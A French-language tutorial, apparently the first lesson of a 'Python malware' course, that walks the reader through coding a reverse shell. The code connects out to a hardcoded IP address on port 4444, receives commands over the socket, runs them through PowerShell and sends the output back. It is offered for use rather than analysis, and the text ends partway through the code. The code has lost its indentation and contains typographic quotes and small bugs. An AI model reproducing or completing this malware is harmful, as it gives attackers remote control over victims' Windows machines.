Cours 1 MW Python
Les MalwareMaintenant que vous avez compris comment fonctionne un CDT, on va pouvoir en coder un malware beaucoup plus perfectionner!
II. Les modules
Vous allez donc importer différent modules :
from sys import argv
import os
import random
import subprocess
import socket
import string
III. Def shell
Vous allez donc commencer par établir une connection entre votre malware et votre PC.
def shell():
print("Attempting connection")
try:
rhost = "76.176.196.75"
rport = 4444
global sock
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((rhost,rport))
print("Connected to:",rhost,rport)
IV. La condition
Ici, on indique, lorsque le malware est connecté, ce qu’il doit faire:
while True:
try:
header = f”\n\n[+]Shell On.\n\n>”
sock.send(header.encode())
cmd = sock.recv(1024).decode(“utf-8”)
cmd = cmd.replace(“\n“,“”)
V. Mise en place des commandes
Ici, vous allez mettre en place la facon dont vous pourrez utiliser vos commandes
if cmd.startswith("cd"):
cmd = cmd +";dir"
proc = subprocess.Popen(["powershell.exe",cmd], stdout=subprocess.PIPE, shell=True)
(out,err) = proc.communicate()
sock.send(str(out).encode())
cmd = cmd.replace(";dir","")
cmmd = cmd.replace("cd","")
os.chdir(cmmd)
VI. Les commandes
elif cmd == "stop":
quit()
elif cmd == "start":
getuserprofile = "$Env:USERPROFILE"
procprof = subprocess.Popen(["powershell.exe", "echo $Env:USERPROFILE"],stdout=subprocess)
(one,two) = procprof.communicate()
userprofile = one.decode()